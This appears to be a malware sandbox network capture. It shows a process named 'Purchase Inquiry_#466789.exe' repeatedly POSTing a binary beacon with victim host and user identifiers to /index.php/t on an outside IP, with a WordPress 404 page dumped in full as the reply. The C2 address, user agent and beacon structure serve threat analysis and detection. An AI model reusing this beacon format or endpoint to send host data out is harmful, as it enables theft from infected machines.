May 27, 2024 08:33:53.890844107 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:33:53.890877008 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:33:53.890918016 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:53.890949965 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:53.890984058 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:53.891475916 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49786	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:54.084475994 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:54.089946032 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:56.281068087 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:54 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:56.281119108 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:56.281152964 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:56.281188011 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:56.281220913 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:56.281254053 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:56.281313896 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:56.281347990 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:56.281383038 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:56.281420946 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49787	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:56.437118053 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:56.442873955 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:58.544697046 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:56 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:58.544756889 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:58.544794083 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:58.544826984 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:58.544861078 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:58.544895887 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:58.544930935 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:58.544965029 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:58.545000076 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:58.545037031 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49788	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:58.696744919 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:58.701946974 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:34:00.846537113 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:59 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:34:00.846615076 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:34:00.846651077 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
